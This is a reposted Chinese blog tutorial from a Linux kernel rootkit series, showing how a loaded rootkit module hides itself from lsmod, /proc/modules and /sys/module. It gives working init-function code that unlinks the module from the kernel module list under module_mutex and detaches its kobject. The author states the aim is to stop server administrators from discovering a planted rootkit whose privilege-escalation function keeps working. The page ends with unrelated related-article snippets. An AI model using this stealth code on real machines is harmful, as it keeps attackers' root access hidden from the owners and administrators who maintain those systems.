04 模块基础 隐藏模块

文章目录

      • PRE.内核中的内核模块:module 结构体
      • Step-I. /proc/modules 信息隐藏
      • Step-II. /sys/module/ 信息隐藏

当我们将一个 LKM 装载到内核模块中之后,用户尤其是服务器管理员可以使用 lsmod 命令 发现你在服务器上留下的rootkit

arttnba3@ubuntu:~/Desktop/DailyProgramming/rootkit$ sudo insmod rootkit.ko 
Password: 
arttnba3@ubuntu:~/Desktop/DailyProgramming/rootkit$ lsmod | grep 'rootkit'
rootkit                16384  0

虽然说我们可以把 rootkit 的名字改为「very_important_module_not_root_kit_please_donot_remove_it」一类的名字进行伪装从而通过社会工程学手段让用户难以发现异常,但是哪怕看起来再“正常”的名字也不能够保证不会被发现,因此我们需要让用户无法直接发现我们的 rootkit

PRE.内核中的内核模块:module 结构体

这里仅简要叙述,在内核当中使用结构体 module 来表示一个内核模块(定义于 /include/linux/module.h),多个内核模块通过成员 list (内核双向链表结构list_head,定义于/include/linux/types.h 中,仅有 next 与 prev 指针成员)构成双向链表结构

在内核模块编程中,我们可以通过宏 THIS_MODULE (定义于 include/linux/export.h)或者直接用其宏展开 &__list_module 来获取当前内核模块的 module 结构体,

Step-I. /proc/modules 信息隐藏

Linux 下用以查看模块的命令 lsmod 其实是从 /proc/modules 这个文件中读取并进行整理,该文件的内容来自于内核中的 module 双向链表,那么我们只需要将 rootkit 从双向链表中移除即可完成 procfs 中的隐藏

熟悉内核编程的同学应该都知道 list_del_init() 函数用以进行内核双向链表脱链操作,该函数定义于 /include/linux/list.h 中,多重套娃展开后其核心主要是常规的双向链表脱链,那么在这里我们其实可以直接手写双向链表的脱链工作

我们还需要考虑到多线程操作的影响,阅读 rmmod 背后的系统调用 delete_module 源码(位于 kernel/module.c 中),观察到其进入临界区前使用了一个互斥锁变量名为 module_mutex,我们的 unlink 操作也将使用该互斥锁以保证线程安全(毕竟我们进来不是直接搞破坏的hhh)

在模块初始化函数末尾添加如下:

static int __init rootkit_init(void)
{
...

    // unlink from module list
    struct list_head * list = (&__this_module.list);
    mutex_lock(&module_mutex);
    list->prev->next = list->next;
    list->next->prev = list->prev;
    mutex_unlock(&module_mutex);

    return 0;
}

将我们的 rootkit 重新 make 后加载到内核中,我们会发现 lsmod 命令已经无法发现我们的 rootkit,在 /proc/modules 文件中已经没有我们 rootkit 的信息,与此同时我们的 rootkit 所提供的功能一切正常

但同样地,无论是载入还是卸载内核模块都需要对双向链表进行操作,由于我们的 rootkit 已经脱链故我们无法将其卸载,同样地也无法将其再次载入(虽然说似乎并没有必要做这两件事情,因为 rootkit 一次载入后应当是要长久驻留在内核中的)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Step-II. /sys/module/ 信息隐藏

sysfs 与 procfs 相类似,同样是一个基于 RAM 的虚拟文件系统,它的作用是将内核信息以文件的方式提供给用户程序使用,其中便包括我们的 rootkit 模块信息,sysfs 会动态读取内核中的 kobject 层次结构并在 /sys/module/ 目录下生成文件

这里简单讲一下 kobject:Kobject 是 Linux 中的设备数据结构基类,在内核中为 struct kobject 结构体,通常内嵌在其他数据结构中;每个设备都有一个 kobject 结构体,多个 kobject 间通过内核双向链表进行链接;kobject 之间构成层次结构

kobject 更多信息参见https://zhuanlan.zhihu.com/p/104834616

熟悉内核编程的同学应该都知道我们可以使用 kobject_del() 函数(定义于 /lib/kobject.c中)来将一个 kobject 从层次结构中脱离,这里我们将在我们的 rootkit 的 init 函数末尾使用这个函数:

static int __init rootkit_init(void)
{
...

    // unlink from kobject
    kobject_del(&__this_module.mkobj.kobj);

    return 0;
}

简单测试,我们可以发现无论是在 procfs 中还是 sysfs 中都已经没有了我们的 rootkit 的身影,而提权的功能依旧正常,我们很好地完成了隐藏模块的功能

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

的身影,而提权的功能依旧正常,我们很好地完成了隐藏模块的功能

[外链图片转存中…(img-Du95UIrG-1706891735633)]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/366784.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【数据结构】单向链表实现 超详细

目录 一. 单链表的实现 1.准备工作及其注意事项 1.1 先创建三个文件 1.2 注意事项:帮助高效记忆和理解 2.链表的基本功能接口 2.0 创建一个 链表 2.1 链表的打印 3.链表的创建新节点接口 4.链表的节点插入功能接口 4.1 尾插接口 4.2 头插接口 4.3 指定位…

AI监控+智能充电桩系统如何缓解新能源汽车充电难问题

在新能源汽车行业的快速发展中,充电桩作为重要的配套设施,其建设和发展至关重要。随着新能源汽车销量的增长,补能需求也日益迫切,这为充电桩行业的发展提供了巨大的机遇。然而,充电桩行业在快速发展的同时,…

02-Java抽象工厂模式 ( Abstract Factory Pattern )

抽象工厂模式(Abstract Factory Pattern)是围绕一个超级工厂创建其他工厂 该超级工厂又称为其他工厂的工厂 在抽象工厂模式中,接口是负责创建一个相关对象的工厂,不需要显式指定它们的类 每个生成的工厂都能按照工厂模式提供对象 …

Cocos XR的WebBox实现流程

1. 正常3D场景下的webview 1.1 组件角色 Cocos Creator正常3D场景下只有在UI组件才支持webview,即作为下图中的UI Nodes(Canvas Node)的子节点,和3D组件是隔离开的,不能显示在3D空间中,UI Nodes(Canvas Node)是一个平面内的矩形…

RDBMS-MySQL高级

数据操作语句(DML)多表/关联查询Mysql中的函数事务执行流程数据库的备份与还原数据库表设计三范式 一、数据操作语句(DML) 插入数据 语法: 1.1插入(insert [into])或添加一条数据 -- 指定列…

Python||五城P.M.2.5数据分析与可视化_使用华夫图分析各个城市的情况(上)

目录 五城P.M.2.5数据分析与可视化——北京市、上海市、广州市、沈阳市、成都市,使用华夫图分析各个城市的情况 1.北京市的空气质量 2.广州市的空气质量 【上海市和成都市空气质量情况详见下期】 五城P.M.2.5数据分析与可视化——北京市、上海市、广州市、沈阳市、成…

【Go语言成长之路】引入外部包

文章目录 引入外部包一、查找需要引用的包二、引入需要导入的包三、运行程序 引入外部包 ​ 实现Demo: 引用rsc.io/quote包来实现打印输出 一、查找需要引用的包 ​ 比如说我现在想要找一个quote的包,那么可以通过如下步骤进行操作: 访问pkg.go.dev,并…

Java面试——计网篇

一、基础篇 1、 TCP/IP 网络模型 对于同一台设备上的进程间通信,有很多种方式,比如有管道、消息队列、共享内存、信号等方式,而对于不同设备上的进程间通信,就需要网络通信,而设备是多样性的,所以要兼容多…

【Python实战】Python多线程批量采集图片

前言 本文来介绍如何多线程采集图片,多线程效率更快,但是,我们单一IP请求过于频繁,可能会被反爬,被封IP,所以,我们就要用到IP代理池,这里,我给大家推荐一个,可…

MySQL原理(五)事务

一、介绍: 1、介绍: 在计算机术语中,事务(Transaction)是访问并可能更新数据库中各种数据项的一个程序执行单元(unit)。事务是恢复和并发控制的基本单位。 2、事务的4大特性 原子性、一致性、隔离性、持久性。这四个属性通常称为ACID特性…

一键部署幻兽帕鲁服务器免费一年方案

一、背景介绍 简单讲一下历程,幻兽帕鲁从在1月19日上线,24小时内在线人数峰值便突破200万,作为2024年第一款现象级游戏,《幻兽帕鲁》上线后,由于人数太多,频现服务器过载导致游戏卡顿掉线的情况。为了能够…

概率论中的全概率公式、贝叶斯公式解析

全概率公式 定义 全概率公式是用来计算一个事件的概率,这个事件可以通过几个互斥事件的并集来表示。这几个互斥事件称为“完备事件系”。实质是由原因推结果。 公式 用途 全概率公式通常用于计算一个事件的总概率,特别是当这个事件与几个不同的因素相关…

【Python】gui 程序的启动脚本

说明 在本机运行,打包就真的没啥必要了,bat 运行 写个 bat 创建个快捷方式 就很是 OK gui 程序不需要 cmd ,用 pythonw.exe 这玩意没啥可说的,直接上代码 xyj.bat REM 当前目录是 "10 阅读西游记.py" 所在的目录 star…

C语言指针高频笔试题,必看!

大家好,今天给大家介绍C语言指针高频笔试题,文章末尾附有分享大家一个资料包,差不多150多G。里面学习内容、面经、项目都比较新也比较全!可进群免费领取。 在C语言的考试中,指针是经常出现的高频考点,以下是…

【华为】GRE VPN 实验配置

【华为】GRE VPN 实验配置 前言报文格式 实验需求配置思路配置拓扑GRE配置步骤R1基础配置GRE 配置 ISP_R2基础配置 R3基础配置GRE 配置 PCPC1PC2 抓包检查OSPF建立GRE隧道建立 配置文档 前言 VPN :(Virtual Private Network),即“…

word调整论文格式的记录

页眉的分章显示内容 效果: 步骤: 确保“显示/隐藏的标记”符号打开点亮 前提是章节前面有“分节符(下一页)”,没有则添加,在菜单栏“布局”——》“下一页” 添加页眉,双击页眉,选…

[ESP32 IDF]web server

目录 通过web server控制LED 核心原理解析 分区表 web server的使用 错误Header fields are too long的解决 通过web server控制LED 通过网页控制LED灯的亮灭,一般的ESP32开发板都可以实现,下面这篇文章是国外开发者提供的一个通过web server控制…

巧用windows的move命令结合jenkins让npm构建速度上来

一.背景 jenkins构建vue2的项目,每次都很慢,即便非常顺利都要1分多钟。之前的文章想到的私服的方式,windows下利用verdaccio私服让npm构建速度上来-CSDN博客。其实慢的原因不仅仅是依赖下载的问题。 二.还有哪里慢 1.源代码同步慢 从构建…

[SWPUCTF 2021 新生赛]easy_md5

用get给name 用post给password 二个值不相等MD5相等 可以通过php的弱类型绕过 $a!$b md5($a)md5($b)找到不同 a 和 a和 a和b,两者的md5值均为0e开头的形式